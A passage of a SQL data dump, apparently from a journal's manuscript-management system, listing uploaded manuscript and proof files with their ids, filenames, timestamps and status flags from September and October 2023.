09:32:32',1,3,0),(38170,14028,'14028-Manuscript-2023-09-08-39tz.pdf',NULL,'2023-09-08 10:22:20',1,3,1),(38171,14027,'14027-Manuscript-2023-09-08-h10r.pdf',NULL,'2023-09-08 10:24:20',1,3,1),(38172,14063,'14063-0-Manuscript-2023-09-10.docx',NULL,'2023-09-10 14:51:14',1,1,0),(38173,14063,'14063-1-Manuscript-2023-09-10.jpg',NULL,'2023-09-10 14:51:14',1,1,0),(38174,14063,'14063-2-Manuscript-2023-09-10.jpg',NULL,'2023-09-10 14:51:14',1,1,0),(38175,14063,'14063-3-Manuscript-2023-09-10.jpg',NULL,'2023-09-10 14:51:14',1,1,0),(38176,14063,'14063-4-Manuscript-2023-09-10.jpg',NULL,'2023-09-10 14:51:14',1,1,0),(38177,14063,'14063-5-Manuscript-2023-09-10.jpg',NULL,'2023-09-10 14:51:14',1,1,0),(38178,14063,'14063-6-Manuscript-2023-09-10.jpg',NULL,'2023-09-10 14:51:14',1,1,0),(38179,14063,'14063-7-Manuscript-2023-09-10.jpg',NULL,'2023-09-10 14:51:15',1,1,0),(38180,14063,'14063-8-Manuscript-2023-09-10.docx',NULL,'2023-09-10 14:51:15',1,1,0),(38181,13961,'13961-ment-Manuscript-proof-submission-2023-09-11.rar',NULL,'2023-09-11 16:57:35',1,3,0),(38182,13597,'13597-Manuscript-2023-09-12-e9rj.docx',NULL,'2023-09-12 15:31:00',1,3,0),(38183,13597,'13597-Manuscript-2023-09-12-at48.pdf',NULL,'2023-09-12 15:31:18',1,3,0),(38184,14023,'IPJNN-23-14023 meta data.docx',NULL,'2023-09-08 09:32:32',1,3,0),(38185,14023,'IPJNN-23-14023-Q1_approved.docx',NULL,'2023-09-08 09:32:32',1,3,0),(38186,14064,'14064-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 17:52:45',1,1,0),(38187,14065,'14065-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 17:54:58',1,1,0),(38188,14066,'14066-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 17:56:15',1,1,0),(38189,14067,'14067-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 17:57:27',1,1,0),(38190,14068,'14068-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 17:58:36',1,1,0),(38191,14069,'14069-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 17:59:49',1,1,0),(38192,14070,'14070-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 18:01:01',1,1,0),(38193,14071,'14071-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 18:01:52',1,1,0),(38194,14072,'14072-0-Manuscript-2023-09-12.docx',NULL,'2023-09-12 18:03:05',1,1,0),(38195,14031,'14031-m9ql-Manuscript-proof-submission-2023-09-13.docx',NULL,'2023-09-13 09:58:49',1,3,0),(38196,14031,'14031-iqwk-Manuscript-proof-submission-2023-09-13.docx',NULL,'2023-09-13 09:58:49',1,3,0),(38197,14031,'14031-as73-Manuscript-proof-submission-2023-09-13.docx',NULL,'2023-09-13 09:58:49',1,3,0),(38198,14031,'14031-Manuscript-2023-09-13-50b4-move-pdf-making.pdf',NULL,'2023-09-13 10:52:32',1,3,0),(38199,14073,'14073-0-Manuscript-2023-09-14.docx',NULL,'2023-09-14 09:48:24',1,1,0),(38200,14073,'14073-1-Manuscript-2023-09-14.docx',NULL,'2023-09-14 09:48:24',1,1,0),(38201,14064,'14064-aew6-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:06:54',1,3,0),(38202,14065,'14065-e7bo-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:07:41',1,3,0),(38203,14066,'14066-px02-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:10:18',1,3,0),(38204,14067,'14067-4c0k-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:10:54',1,3,0),(38205,14068,'14068-2mql-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:11:26',1,3,0),(38206,14068,'14068-u4hf-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:11:27',1,3,0),(38207,14069,'14069-bnqv-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:12:06',1,3,0),(38208,14070,'14070-vh60-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:12:42',1,3,0),(38209,14070,'14070-64he-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:12:44',1,3,0),(38210,14071,'14071-pmrc-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:13:11',1,3,0),(38211,14072,'14072-7koh-Manuscript-proof-submission-2023-09-14.docx',NULL,'2023-09-14 14:13:34',1,3,0),(38212,13927,'13927-4qu3-Manuscript-proof-submission-2023-09-15.docx',NULL,'2023-09-15 09:44:36',1,3,0),(38213,14074,'14074-0-Manuscript-2023-09-15.docx',NULL,'2023-09-15 10:06:05',1,1,0),(38214,13961,'13961-Manuscript-2023-09-15-i82w-ipaom-23-13961.rar',NULL,'2023-09-15 10:49:05',1,3,0),(38216,14076,'14076-0-Manuscript-2023-09-15.docx',NULL,'2023-09-15 11:32:04',1,1,0),(38217,14077,'14077-0-Manuscript-2023-09-15.docx',NULL,'2023-09-15 11:37:36',1,1,0),(38219,13961,'13961-Manuscript-2023-09-15-wb4x.pdf',NULL,'2023-09-15 14:48:03',1,3,0),(38220,13961,'13961-Manuscript-2023-09-15-16jp.pdf',NULL,'2023-09-15 15:42:32',1,3,0),(38221,14079,'14079-0-Manuscript-2023-09-15.docx',NULL,'2023-09-15 17:05:12',1,1,0),(38222,14080,'14080-0-Manuscript-2023-09-15.docx',NULL,'2023-09-15 17:36:33',1,1,0),(38223,14081,'14081-0-Manuscript-2023-09-17.pdf',NULL,'2023-09-17 16:36:53',1,1,0),(38224,14082,'14082-0-Manuscript-2023-09-19.docx',NULL,'2023-09-19 10:10:07',1,1,0),(38225,13834,'13834-dix7-Manuscript-proof-submission-2023-09-19.docx',NULL,'2023-09-19 12:14:53',1,3,0),(38226,13834,'13834-1w63-Manuscript-proof-submission-2023-09-19.pdf',NULL,'2023-09-19 12:14:55',1,3,0),(38227,14053,'14053-8v1g-Manuscript-proof-submission-2023-09-19.docx',NULL,'2023-09-19 12:52:43',1,3,0),(38228,14053,'14053-j18a-Manuscript-proof-submission-2023-09-19.pdf',NULL,'2023-09-19 12:52:43',1,3,0),(38229,14083,'14083-0-Manuscript-2023-09-19.docx',NULL,'2023-09-19 13:05:44',1,1,0),(38230,14084,'14084-0-Manuscript-2023-09-19.docx',NULL,'2023-09-19 13:35:35',1,1,0),(38231,14072,'14072-Manuscript-2023-09-19-vi08-ipjnn-23-14072.docx',NULL,'2023-09-19 14:38:03',1,3,0),(38232,14071,'14071-Manuscript-2023-09-19-p47q-ipjnn-23-14071.docx',NULL,'2023-09-19 14:38:12',1,3,0),(38233,14070,'14070-Manuscript-2023-09-19-k896-ipjnn-23-14070.docx',NULL,'2023-09-19 14:38:22',1,3,0),(38234,14069,'14069-Manuscript-2023-09-19-zv3h-ipjnn-23-14069.docx',NULL,'2023-09-19 14:38:32',1,3,0),(38235,14068,'14068-Manuscript-2023-09-19-m0r7-ipjnn-23-14068.docx',NULL,'2023-09-19 14:38:43',1,3,0),(38236,14067,'14067-Manuscript-2023-09-19-cafn-ipjnn-23-14067.docx',NULL,'2023-09-19 14:38:54',1,3,0),(38237,14066,'14066-Manuscript-2023-09-19-8mb2-ipjnn-23-14066.docx',NULL,'2023-09-19 14:39:04',1,3,0),(38238,14065,'14065-Manuscript-2023-09-19-fuke-ipjnn-23-14065.docx',NULL,'2023-09-19 14:39:14',1,3,0),(38239,14064,'14064-Manuscript-2023-09-19-wfch-ipjnn-23-14064.docx',NULL,'2023-09-19 14:39:24',1,3,0),(38240,12398,'12398-Manuscript-2023-09-19-l1g0-qcfupteam-revised.docx',NULL,'2023-09-19 15:19:14',1,4,0),(38241,12758,'12758-Manuscript-2023-09-19-od1u-qcfupteam-revised.docx',NULL,'2023-09-19 15:21:28',1,4,0),(38242,12739,'12739-Manuscript-2023-09-19-hia9-qcfupteam-revised.docx',NULL,'2023-09-19 15:23:36',1,4,0),(38243,12742,'12742-Manuscript-2023-09-19-tc31-qcfupteam-revised.docx',NULL,'2023-09-19 15:25:11',1,4,0),(38244,13184,'13184-Manuscript-2023-09-19-36e8-qcfupteam-revised.docx',NULL,'2023-09-19 15:27:46',1,4,0),(38245,12224,'12224-Manuscript-2023-09-19-4val-qcfupteam-revised.docx',NULL,'2023-09-19 16:53:57',1,4,0),(38246,8807,'8807-Manuscript-2023-09-19-ea7h-qcfupteam-revised.docx',NULL,'2023-09-19 16:55:36',1,4,0),(38247,8807,'8807-Manuscript-2023-09-19-4c9b-qcfupteam-revised.docx',NULL,'2023-09-19 16:56:45',1,4,0),(38248,6851,'6851-Manuscript-2023-09-19-xelj-qcfupteam-revised.docx',NULL,'2023-09-19 17:01:59',1,4,0),(38249,6824,'6824-Manuscript-2023-09-19-92x3-qcfupteam-revised.docx',NULL,'2023-09-19 17:04:35',1,4,0),(38250,3874,'3874-Manuscript-2023-09-19-wafx-qcfupteam-revised.docx',NULL,'2023-09-19 17:07:23',1,4,0),(38251,2697,'2697-Manuscript-2023-09-19-hmpt-qcfupteam-revised.docx',NULL,'2023-09-19 17:08:49',1,4,0),(38252,2623,'2623-Manuscript-2023-09-19-l3fz-qcfupteam-revised.docx',NULL,'2023-09-19 17:10:01',1,4,0),(38253,2051,'2051-Manuscript-2023-09-19-cuo4-qcfupteam-revised.docx',NULL,'2023-09-19 17:15:16',1,4,0),(38254,14056,'14056-6c28-Manuscript-proof-submission-2023-09-20.docx',NULL,'2023-09-20 12:57:37',1,3,0),(38255,14056,'14056-o5jd-Manuscript-proof-submission-2023-09-20.pdf',NULL,'2023-09-20 12:57:37',1,3,0),(38256,14056,'14056-iw5t-Manuscript-proof-submission-2023-09-20.docx',NULL,'2023-09-20 12:57:41',1,3,0),(38257,14056,'14056-g0qd-Manuscript-proof-submission-2023-09-20.pdf',NULL,'2023-09-20 12:57:41',1,3,0),(38258,14056,'14056-iw21-Manuscript-proof-submission-2023-09-20.docx',NULL,'2023-09-20 12:57:42',1,3,0),(38259,14056,'14056-lzjy-Manuscript-proof-submission-2023-09-20.pdf',NULL,'2023-09-20 12:57:42',1,3,0),(38260,14056,'14056-nhxf-Manuscript-proof-submission-2023-09-20.docx',NULL,'2023-09-20 12:57:44',1,3,0),(38261,14056,'14056-ipzx-Manuscript-proof-submission-2023-09-20.pdf',NULL,'2023-09-20 12:57:44',1,3,0),(38262,14056,'14056-6gmx-Manuscript-proof-submission-2023-09-20.docx',NULL,'2023-09-20 12:57:45',1,3,0),(38263,14056,'14056-p3nv-Manuscript-proof-submission-2023-09-20.pdf',NULL,'2023-09-20 12:57:45',1,3,0),(38264,13713,'13713-Manuscript-2023-09-20-97v8.docx',NULL,'2023-09-20 13:04:16',1,3,0),(38265,13713,'13713-Manuscript-2023-09-20-awt2.pdf',NULL,'2023-09-20 13:04:22',1,3,0),(38266,13722,'13722-Manuscript-2023-09-20-849k.docx',NULL,'2023-09-20 13:06:33',1,3,0),(38267,13722,'13722-Manuscript-2023-09-20-vme5.pdf',NULL,'2023-09-20 13:06:41',1,3,0),(38268,13700,'13700-Manuscript-2023-09-20-cbu5.docx',NULL,'2023-09-20 13:11:22',1,3,0),(38269,13700,'13700-Manuscript-2023-09-20-ztrn.pdf',NULL,'2023-09-20 13:11:29',1,3,0),(38270,14064,'14064-Manuscript-2023-09-21-3b84.pdf',NULL,'2023-09-21 10:13:30',1,3,0),(38271,14065,'14065-Manuscript-2023-09-21-h20b.pdf',NULL,'2023-09-21 10:13:45',1,3,0),(38272,14066,'14066-Manuscript-2023-09-21-qcjw.pdf',NULL,'2023-09-21 10:18:10',1,3,0),(38273,14067,'14067-Manuscript-2023-09-21-3r70.pdf',NULL,'2023-09-21 10:18:26',1,3,0),(38274,14068,'14068-Manuscript-2023-09-21-9268.pdf',NULL,'2023-09-21 10:18:47',1,3,0),(38275,14067,'14067-Manuscript-2023-09-21-km6r.pdf',NULL,'2023-09-21 10:19:20',1,3,0),(38276,14068,'14068-Manuscript-2023-09-21-vcbp.pdf',NULL,'2023-09-21 10:20:55',1,3,0),(38277,14069,'14069-Manuscript-2023-09-21-vqt6.pdf',NULL,'2023-09-21 10:21:19',1,3,0),(38278,14070,'14070-Manuscript-2023-09-21-0f1j.pdf',NULL,'2023-09-21 10:22:18',1,3,0),(38279,14071,'14071-Manuscript-2023-09-21-f85i.pdf',NULL,'2023-09-21 10:22:35',1,3,0),(38280,14072,'14072-Manuscript-2023-09-21-bex5.pdf',NULL,'2023-09-21 10:22:53',1,3,0),(38281,14085,'14085-0-Manuscript-2023-09-21.docx',NULL,'2023-09-21 13:21:48',1,1,0),(38282,14086,'14086-0-Manuscript-2023-09-22.docx',NULL,'2023-09-22 12:15:13',1,1,0),(38283,14087,'14087-0-Manuscript-2023-09-22.docx',NULL,'2023-09-22 14:18:48',1,1,0),(38284,14030,'14030-76hj-Manuscript-proof-submission-2023-09-25.rar',NULL,'2023-09-25 15:34:07',1,3,0),(38285,14047,'14047-315u-Manuscript-proof-submission-2023-09-27.rar',NULL,'2023-09-27 11:07:32',1,3,0),(38286,13850,'13850-Manuscript-2023-09-28-7u6z-move-pdf-making.pdf',NULL,'2023-09-28 09:54:07',1,3,0),(38287,13848,'13848-Manuscript-2023-09-28-y1nd-move-pdf-making.pdf',NULL,'2023-09-28 09:58:54',1,3,0),(38288,13859,'13859-Manuscript-2023-09-28-q1lb-move-pdf-making.pdf',NULL,'2023-09-28 10:07:04',1,3,0),(38289,13859,'13859-Manuscript-2023-09-28-j7lk-move-pdf-making.docx',NULL,'2023-09-28 10:39:36',1,3,0),(38290,13859,'13859-Manuscript-2023-09-28-tjfk-move-pdf-making.docx',NULL,'2023-09-28 10:42:24',1,3,0),(38291,13859,'13859-Manuscript-2023-09-28-fr65-move-pdf-making.docx',NULL,'2023-09-28 10:42:31',1,3,0),(38292,13850,'13850-Manuscript-2023-09-28-fg6z-graphic-completed.pdf',NULL,'2023-09-28 11:11:27',1,3,0),(38293,14058,'14058-03f6-Manuscript-proof-submission-2023-09-28.rar',NULL,'2023-09-28 15:59:43',1,3,0),(38294,14061,'14061-kwgx-Manuscript-proof-submission-2023-09-29.rar',NULL,'2023-09-29 13:45:21',1,3,0),(38295,14088,'14088-0-Manuscript-2023-09-29.docx',NULL,'2023-09-29 15:21:37',1,1,0),(38296,14061,'14061-Manuscript-2023-09-29-r7k0-ap-team-revised.rar',NULL,'2023-09-29 16:31:39',1,3,1),(38297,14030,'14030-Manuscript-2023-09-29-409n-iphsj-23-14030.rar',NULL,'2023-09-29 16:32:02',1,3,1),(38298,14047,'14047-Manuscript-2023-09-29-gj25-iphsj-23-14047.rar',NULL,'2023-09-29 16:32:34',1,3,1),(38299,14058,'14058-Manuscript-2023-09-29-itqk-ap-team-revised.rar',NULL,'2023-09-29 16:32:56',1,3,1),(38300,14089,'14089-0-Manuscript-2023-10-01.docx',NULL,'2023-10-01 09:10:05',1,1,0),(38301,14046,'14046-yqxj-Manuscript-proof-submission-2023-10-03.docx',NULL,'2023-10-03 10:21:46',1,3,0),(38302,14046,'14046-6eu4-Manuscript-proof-submission-2023-10-03.pdf',NULL,'2023-10-03 10:21:46',1,3,0),(38303,14045,'14045-xqeo-Manuscript-proof-submission-2023-10-03.docx',NULL,'2023-10-03 12:09:14',1,3,0),(38304,14045,'14045-93yu-Manuscript-proof-submission-2023-10-03.pdf',NULL,'2023-10-03 12:09:14',1,3,0),(38305,14049,'14049-fuia-Manuscript-proof-submission-2023-10-03.docx',NULL,'2023-10-03 12:14:25',1,3,0),(38306,14049,'14049-u2e5-Manuscript-proof-submission-2023-10-03.pdf',NULL,'2023-10-03 12:14:25',1,3,0),(38307,14050,'14050-n9lh-Manuscript-proof-submission-2023-10-03.docx',NULL,'2023-10-03 12:18:02',1,3,0),(38308,14050,'14050-cmr8-Manuscript-proof-submission-2023-10-03.pdf',NULL,'2023-10-03 12:18:02',1,3,0),(38309,14051,'14051-1vrc-Manuscript-proof-submission-2023-10-03.docx',NULL,'2023-10-03 12:22:27',1,3,0),(38310,14051,'14051-7xzb-Manuscript-proof-submission-2023-10-03.pdf',NULL,'2023-10-03 12:22:27',1,3,0),(38311,12224,'12224-kuq6-Manuscript-proof-submission-2023-10-03.docx',NULL,'2023-10-03 12:29:44',1,3,0),(38312,12224,'12224-wrot-Manuscript-proof-submission-2023-10-03.pdf',NULL,'2023-10-03 12:29:44',1,3,0),(38313,14083,'14083-og76-Manuscript-proof-submission-2023-10-03.rar',NULL,'2023-10-03 14:41:46',1,3,0),(38314,14084,'14084-qkji-Manuscript-proof-submission-2023-10-03.rar',NULL,'2023-10-03 14:42:19',1,3,1),(38315,14088,'14088-hst4-Manuscript-proof-submission-2023-10-03.rar',NULL,'2023-10-03 15:41:35',1,3,0),(38316,14030,'14030-Manuscript-2023-10-03-iqgd-graphic-completed.pdf',NULL,'2023-10-03 18:11:38',1,3,0),(38317,14047,'14047-Manuscript-2023-10-03-2s0v-graphic-completed.pdf',NULL,'2023-10-03 18:11:57',1,3,0),(38318,14058,'14058-Manuscript-2023-10-03-olfq-graphic-completed.pdf',NULL,'2023-10-03 18:12:07',1,3,0),(38319,14061,'14061-Manuscript-2023-10-03-vyd7-graphic-completed.pdf',NULL,'2023-10-03 18:12:41',1,3,0),(38320,14090,'14090-0-Manuscript-2023-10-04.docx',NULL,'2023-10-04 10:42:17',1,1,0),(38321,14061,'14061-Manuscript-2023-10-04-48ca.pdf',NULL,'2023-10-04 10:47:11',1,3,1),(38322,14030,'14030-Manuscript-2023-10-04-lhsv.pdf',NULL,'2023-10-04 10:48:14',1,3,1),(38323,14047,'14047-Manuscript-2023-10-04-r9o3.pdf',NULL,'2023-10-04 10:48:59',1,3,1),(38324,14058,'14058-Manuscript-2023-10-04-rweo.pdf',NULL,'2023-10-04 10:50:09',1,3,1),(38325,14091,'14091-0-Manuscript-2023-10-04.docx',NULL,'2023-10-04 11:02:13',1,1,0),(38326,14092,'14092-0-Manuscript-2023-10-04.docx',NULL,'2023-10-04 11:26:22',1,1,0),(38327,14083,'14083-Manuscript-2023-10-04-7u10-ap-team-revised.rar',NULL,'2023-10-04 14:44:08',1,3,1),(38328,14088,'14088-Manuscript-2023-10-04-jsiz-ap-team-revised.rar',NULL,'2023-10-04 14:45:24',1,3,1),(38329,14093,'14093-0-Manuscript-2023-10-05.docx',NULL,'2023-10-05 11:59:00',1,1,0),(38330,14090,'14090-deqn-Manuscript-proof-submission-2023-10-05.rar',NULL,'2023-10-05 15:31:18',1,3,0),(38331,14091,'14091-x6nv-Manuscript-proof-submission-2023-10-05.rar',NULL,'2023-10-05 15:32:06',1,3,0),(38332,14092,'14092-3ha4-Manuscript-proof-submission-2023-10-05.rar',NULL,'2023-10-05 15:32:44',1,3,0),(38333,14092,'14092-Manuscript-2023-10-05-nbh4-ap-team-revised.rar',NULL,'2023-10-05 18:33:12',1,3,1),(38334,14091,'14091-Manuscript-2023-10-05-dzmb-ap-team-revised.rar',NULL,'2023-10-05 18:33:39',1,3,1),(38335,14090,'14090-Manuscript-2023-10-05-z21i-ap-team-revised.rar',NULL,'2023-10-05 18:34:13',1,3,1),(38336,14074,'14074-omf2-Manuscript-proof-submission-2023-10-06.docx',NULL,'2023-10-06 11:53:59',1,3,0),(38337,14076,'14076-36yn-Manuscript-proof-submission-2023-10-06.docx',NULL,'2023-10-06 11:54:23',1,3,0),(38338,14077,'14077-i9ja-Manuscript-proof-submission-2023-10-06.docx',NULL,'2023-10-06 11:54:51',1,3,0),(38339,14079,'14079-txcw-Manuscript-proof-submission-2023-10-06.docx',NULL,'2023-10-06 11:55:22',1,3,0),(38340,14080,'14080-mb0n-Manuscript-proof-submission-2023-10-06.docx',NULL,'2023-10-06 11:55:52',1,3,0),(38341,14082,'14082-9bf7-Manuscript-proof-submission-2023-10-06.docx',NULL,'2023-10-06 11:56:26',1,3,0),(38342,14092,'14092-Manuscript-2023-10-07-985g-graphic-completed.pdf',NULL,'2023-10-07 11:38:16',1,3,0),(38343,14090,'14090-Manuscript-2023-10-07-uf0q-graphic-completed.pdf',NULL,'2023-10-07 11:38:43',1,3,0),(38344,14091,'14091-Manuscript-2023-10-07-e2x8-graphic-completed.pdf',NULL,'2023-10-07 11:39:00',1,3,0),(38345,14088,'14088-Manuscript-2023-10-07-6jyn-graphic-completed.pdf',NULL,'2023-10-07 11:40:22',1,3,0),(38346,14084,'14084-Manuscript-2023-10-07-4ael-graphic-completed.pdf',NULL,'2023-10-07 11:40:35',1,3,0),(38347,14083,'14083-Manuscript-2023-10-07-f2d6-graphic-completed.pdf',NULL,'2023-10-07 11:40:47',1,3,0),(38348,14094,'14094-0-Manuscript-2023-10-08.docx',NULL,'2023-10-08 22:37:21',1,1,0),(38349,14094,'14094-1-Manuscript-2023-10-08.pdf',NULL,'2023-10-08 22:37:21',1,1,0),(38350,14094,'14094-2-Manuscript-2023-10-08.docx',NULL,'2023-10-08 22:37:22',1,1,0),(38351,14092,'14092-Manuscript-2023-10-09-ko39.pdf',NULL,'2023-10-09 10:52:26',1,3,1),(38352,14090,'14090-Manuscript-2023-10-09-kwq7.pdf',NULL,'2023-10-09 10:53:37',1,3,1),(38353,14091,'14091-Manuscript-2023-10-09-ubc1.pdf',NULL,'2023-10-09 10:54:33',1,3,1),(38354,14088,'14088-Manuscript-2023-10-09-lfnr.pdf',NULL,'2023-10-09 10:55:43',1,3,1),(38355,14083,'14083-Manuscript-2023-10-09-p40i.pdf',NULL,'2023-10-09 10:57:44',1,3,1),(38356,14095,'14095-0-Manuscript-2023-10-09.docx',NULL,'2023-10-09 15:58:17',1,1,0),(38357,14084,'14084-Manuscript-2023-10-10-8n6q.pdf',NULL,'2023-10-10 11:29:13',1,3,1),(38358,14096,'14096-0-Manuscript-2023-10-10.docx',NULL,'2023-10-10 14:19:17',1,1,0),(38360,14099,'14099-0-Manuscript-2023-10-11.docx',NULL,'2023-10-12 01:37:56',1,1,0),(38361,14100,'14097-0-Manuscript-2023-10-10.docx','','2023-10-10 00:00:00',1,1,0),(38362,14101,'14101-x2iw-Manuscript-2023-10-12.doc',NULL,'2023-10-12 13:40:35',1,1,0),(38363,13826,'13826-bx58-Manuscript-proof-submission-2023-10-12.docx',NULL,'2023-10-12 15:59:37',1,3,0),(38364,13871,'13871-mrtl-Manuscript-proof-submission-2023-10-12.docx',NULL,'2023-10-12 16:30:25',1,3,0),(38365,13899,'13899-rnia-Manuscript-proof-submission-2023-10-12.docx',NULL,'2023-10-12 16:35:00',1,3,0),(38366,13889,'13889-lbn2-Manuscript-proof-submission-2023-10-12.docx',NULL,'2023-10-12 16:36:13',1,3,0),(38367,13888,'13888-is7q-Manuscript-proof-submission-2023-10-12.docx',NULL,'2023-10-12 16:37:36',1,3,0),(38368,13852,'13852-r45f-Manuscript-proof-submission-2023-10-12.docx',NULL,'2023-10-12 16:38:58',1,3,0),(38369,13860,'13860-pace-Manuscript-proof-submission-2023-10-12.docx',NULL,'2023-10-12 16:46:36',1,3,0),(38370,13828,'13828-xfyj-Manuscript-proof-submission-2023-10-12.docx',NULL,'2023-10-12 16:48:22',1,3,0),(38371,14102,'14102-0-Manuscript-2023-10-12.docx',NULL,'2023-10-12 18:10:51',1,1,0),(38372,14103,'14103-0-Manuscript-2023-10-12.docx',NULL,'2023-10-12 18:16:45',1,1,0),(38373,14104,'14104-0-Manuscript-2023-10-12.docx',NULL,'2023-10-12 22:55:22',1,1,0),(38374,14105,'14105-0-Manuscript-2023-10-12.docx',NULL,'2023-10-12 23:07:11',1,1,0),(38375,14106,'14106-0-Manuscript-2023-10-13.docx',NULL,'2023-10-13 09:41:25',1,1,0),(38376,14074,'14074-Manuscript-2023-10-13-jqrb-move-pdf-making.pdf',NULL,'2023-10-13 12:07:43',1,3,0),(38377,14076,'14076-Manuscript-2023-10-13-dq2a-move-pdf-making.pdf',NULL,'2023-10-13 12:08:59',1,3,0),(38378,12739,'12739-ocpv-Manuscript-proof-submission-2023-10-17.docx',NULL,'2023-10-17 11:14:29',1,3,0),(38379,12739,'12739-59rq-Manuscript-proof-submission-2023-10-17.pdf',NULL,'2023-10-17 11:14:29',1,3,0),(38380,12739,'12739-f04w-Manuscript-proof-submission-2023-10-17.docx',NULL,'2023-10-17 11:14:44',1,3,0),(38381,12739,'12739-fxyz-Manuscript-proof-submission-2023-10-17.pdf',NULL,'2023-10-17 11:14:44',1,3,0),(38382,12739,'12739-sqeu-Manuscript-proof-submission-2023-10-17.docx',NULL,'2023-10-17 11:14:50',1,3,0),(38383,12739,'12739-tdnf-Manuscript-proof-submission-2023-10-17.pdf',NULL,'2023-10-17 11:14:51',1,3,0),(38384,12742,'12742-9gti-Manuscript-proof-submission-2023-10-17.docx',NULL,'2023-10-17 11:19:11',1,3,0),(38385,12742,'12742-6dqe-Manuscript-proof-submission-2023-10-17.pdf',NULL,'2023-10-17 11:19:11',1,3,0),(38386,12758,'12758-u2dc-Manuscript-proof-submission-2023-10-17.docx',NULL,'2023-10-17 11:23:54',1,3,0),(38387,12758,'12758-copb-Manuscript-proof-submission-2023-10-17.pdf',NULL,'2023-10-17 11:23:54',1,3,0),(38388,13184,'13184-y6e1-Manuscript-proof-submission-2023-10-17.docx',NULL,'2023-10-17 11:31:53',1,3,0),(38389,13184,'13184-y60u-Manuscript-proof-submission-2023-10-17.pdf',NULL,'2023-10-17 11:31:53',1,3,0),(38390,14107,'14107-0-Manuscript-2023-10-17.docx',NULL,'2023-10-17 22:15:00',1,1,0),(38391,14107,'14107-1-Manuscript-2023-10-17.docx',NULL,'2023-10-17 22:15:00',1,1,0),(38392,14107,'14107-3-Manuscript-2023-10-17.jpg',NULL,'2023-10-17 22:15:00',1,1,0),(38393,14107,'14107-4-Manuscript-2023-10-17.jpg',NULL,'2023-10-17 22:15:00',1,1,0),(38394,14107,'14107-5-Manuscript-2023-10-17.jpg',NULL,'2023-10-17 22:15:00',1,1,0),(38395,14107,'14107-6-Manuscript-2023-10-17.jpg',NULL,'2023-10-17 22:15:00',1,1,0),(38396,14107,'14107-7-Manuscript-2023-10-17.docx',NULL,'2023-10-17 22:15:00',1,1,0),(38397,14108,'14108-0-Manuscript-2023-10-17.docx',NULL,'2023-10-17 22:20:25',1,1,0),(38398,14108,'14108-1-Manuscript-2023-10-17.docx',NULL,'2023-10-17 22:20:25',1,1,0),(38399,14109,'14109-0-Manuscript-2023-10-18.docx',NULL,'2023-10-18 14:01:18',1,1,0),(38400,14089,'14089-m6cq-Manuscript-proof-submission-2023-10-18.rar',NULL,'2023-10-18 15:29:45',1,3,0),(38401,14110,'14110-0-Manuscript-2023-10-18.docx',NULL,'2023-10-18 22:01:57',1,1,0),(38402,14087,'14087-h05z-Manuscript-proof-submission-2023-10-19.docx',NULL,'2023-10-19 11:29:41',1,3,0),(38403,14086,'14086-c5lw-Manuscript-proof-submission-2023-10-19.docx',NULL,'2023-10-19 11:30:14',1,3,0),(38404,14089,'14089-Manuscript-2023-10-19-dl7g-iphsj-23-14089.rar',NULL,'2023-10-19 11:49:01',1,3,0),(38405,14111,'14111-0-Manuscript-2023-10-20.docx',NULL,'2023-10-20 10:07:06',1,1,0),(38406,14085,'14085-ox6g-Manuscript-2023-10-21.docx',NULL,'2023-10-21 08:28:50',1,1,0),(38407,14085,'14085-fuq1-Manuscript-2023-10-21.docx',NULL,'2023-10-21 08:28:50',1,1,0),(38408,14085,'14085-u5i6-Manuscript-2023-10-21.docx',NULL,'2023-10-21 08:28:50',1,1,0),(38409,14085,'14085-180p-Manuscript-2023-10-21.docx',NULL,'2023-10-21 08:28:50',1,1,0),(38410,14089,'14089-Manuscript-2023-10-21-aury-graphic-completed.pdf',NULL,'2023-10-21 10:59:41',1,3,0),(38411,14112,'14112-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:18:54',1,1,0),(38412,14113,'14113-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:29:49',1,1,0),(38413,14114,'14114-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:33:42',1,1,0),(38414,14115,'14115-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:35:58',1,1,0),(38415,14116,'14116-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:39:07',1,1,0),(38416,14117,'14117-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:41:05',1,1,0),(38417,14118,'14118-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:44:04',1,1,0),(38418,14119,'14119-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:48:20',1,1,0),(38419,14120,'14120-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:50:51',1,1,0),(38420,14121,'14121-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:55:02',1,1,0),(38421,14122,'14122-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 09:57:42',1,1,0),(38422,14123,'14123-0-Manuscript-2023-10-23.docx',NULL,'2023-10-23 16:12:20',1,1,0),(38423,14122,'14122-ubcn-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 14:55:13',1,3,0),(38424,14109,'14109-79l6-Manuscript-proof-submission-2023-10-25.rar',NULL,'2023-10-25 15:08:42',1,3,0),(38425,14121,'14121-k6v1-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 15:08:49',1,3,0),(38426,14120,'14120-kcxr-Manuscript-proof-submission-2023-10-25.docx',NULL,'2023-10-25 